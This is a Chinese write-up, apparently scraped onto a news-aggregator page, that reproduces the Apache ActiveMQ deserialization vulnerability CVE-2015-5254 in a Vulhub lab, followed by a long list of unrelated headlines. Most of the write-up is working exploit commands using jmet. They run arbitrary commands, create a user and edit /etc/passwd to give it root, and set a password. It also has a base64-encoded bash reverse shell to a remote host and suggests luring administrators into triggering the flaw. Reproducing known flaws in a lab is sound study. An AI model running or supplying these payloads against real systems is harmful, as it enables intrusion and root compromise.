CVE-2015-5254漏洞复现_动态焦点
1.漏洞介绍。
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。
(资料图片)
2.环境介绍。
复现环境采用kali搭建Vulhub。
靶机:172.18.0.1:8161
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。
3.漏洞利用。
3.1漏洞利用过程简述。
构造(可以使用ysoserial)可执行命令的序列化对象作为一个消息,发送给目标61616端口访问web管理页面,读取消息,触发漏洞3.2具体过程。
(1)访问web界面并进行登录。
账号:admin密码:admin
(2)使用jmet进行漏洞利用。
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar//下载jar文件mkdir external//创建external文件夹
执行命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616//创建/tmp/success,同理可进行其他命令的操作
我们返回管理界面,发现添加了一个名为事件的队列。
点击进入
此时已经触发命令执行,我们进入dockor查看
docker ps
docker exec -it b189872443f5 /bin/bash
可以发现tmp目录已创建,进入发现sucess,漏洞利用成功
创建一个用户
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME 172.18.0.1 61616
触发条件和之前相同,在管理界面去点击队列
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME 172.18.0.1 61616//修改权限 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME 172.18.0.1 61616//添加密码
至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接
或者将命令换为反弹shell再利用:
bash -i >& /dev/tcp/172.18.0.1/777 0>&1
使用base64编码payload绕过Java机制
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx
附上base64编码脚本
import base64# Sample string to encodestring = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1"# Encoding the stringencoded_string = base64.b64encode(string.encode("utf-8"))# Printing the encoded stringprint(encoded_string.decode("utf-8"))构建pyload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616使用nc监听端口
反弹shell成功
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
标签:
精彩推送
李想有一个「理想」:搞纯电 原创 Sid GeekCar极客汽车 20
今年三月,李想在微博上透露纯电产品规划:「一个鲸鱼(航母)和五个鲨鱼(舰船),组成理想汽车高压电...
新闻快讯
X 关闭
X 关闭
新闻快讯
- CVE-2015-5254漏洞复现_动态焦点
- 【世界新视野】报告:法治政府建设水平呈稳步提升态势
- 北京水饺加盟_北京水饺|世界快看
- 成都住房公积金实现主要业务场景数字人民币应用全覆盖
- leadtime是指什么_leadtime
- 网友呼吁合肥南二环西延工程为百年古树让路 两部门回应|环球速看料
- 热推荐:专家云集!助力超声诊疗水平提升
- 【播资讯】河南医学高等专科院校录取分数 河南医学高等专科学校录取分数线
- 净利大幅下滑 千亿龙头合盛硅业投资420亿押注光伏
- 世界视讯!S基金系列专访|汉领资本夏明晨:看好中国PE二级市场机会 将设人民币基金投向优质资产
- 实时焦点:机构今日买入这23股,抛售蓝色光标1.52亿元丨龙虎榜
- 通过“智行”提前两月订好酒店 临近入住却遭遇加价|关注
- 新天龙八部最火的几个区(新天龙八部哪个区人最多)
- 亿联网络:接受嘉实基金等机构调研
- 【世界新视野】国家游泳中心一队战胜北京体育大学队获得冠军
- 马鞍山理工学校多措并举健全党风廉政建设工作长效机制|天天微动态
- 新一批普通高校本科专业备案和审批结果公布
- 000546金圆股票_000546
- 焦点速递!广州北京路商圈将迎来智慧化升级
- 最新:咖啡为什么能提神
- 部分游客出现呕吐、腹泻等症状 云南景洪通报
- 北方局地积雪破纪录 暴雪防御指南请收好_观热点
- 全球观焦点:优化营商环境|青岛银行落地青岛市首笔线上“带押过户”二手房业务
- 当前热讯:2016昆明中考如何填志愿报指南报名时间和报时间
- 人社部推出10项具体行动 千方百计促进青年就业创业
- 环球即时:山东青岛崂山区市场监管局多措并举开展制止餐饮浪费宣传活动
- 番禺母婴店发现尸体警方排除他杀 ,附近店员:闻到死老鼠味一个多月-世界微头条
- 【全球速看料】鄂股动态|周黑鸭:未来5年开一万家店,覆盖百城千县
- 平凉不当得利纠纷律师费用怎么算 速看
- 天齐锂业副总裁及董秘张文宇荣获第十九届新财富金牌董秘
- signature是什么意思翻译-signature是什么意思
- 中国向俄罗斯、法国赠送月球样品! 全球报资讯
- 股票支撑位是什么意思?股票支撑位意味什么?
- 成都大熊猫基地11天内通报5起不文明行为 两人被禁入1年|当前关注
- 中国能建承建的150万千瓦风光火储氢一体化风电光伏基地开建
- 环球百事通!2022年年报点评:电机业务高速增长,股权激励刺激未来持续向好
- 每日观察!大成基金管理有限公司关于旗下部分基金增加阳光人寿保险股份有限公司为销售机构的公告
- 建湖县启动第九届全民读书节活动
- 对于一些社会上常见的争议问题,为什么没有国家权威部门出来解释呢?
- 家中堆放书籍被指易燃限期清空?社区:杂物堵住房门,善意提醒-天天微头条
- 环球焦点!支持经济复苏 2022年亚行业务规模达205亿美元
- 天天观天下!电动势的方向图解(电动势的方向)
- 五一放假几天2023年法定几天_wuyi|看热讯
- 每日焦点!新莱应材(300260)4月21日主力资金净卖出2404.37万元
- 每日简讯:英雄的故事_关于英雄的故事的简介
- 斯巴鲁傲虎空调怎么开,傲虎空调开关图解|环球观点
- 扬帅返乡休假 随后将赴多哈
- 天天滚动:地名里的河北·浅说|卢龙
- 每日快报!海淀区租赁合同律师收费要多少
- 巡视员调研员区别_巡视员调研员 环球微速讯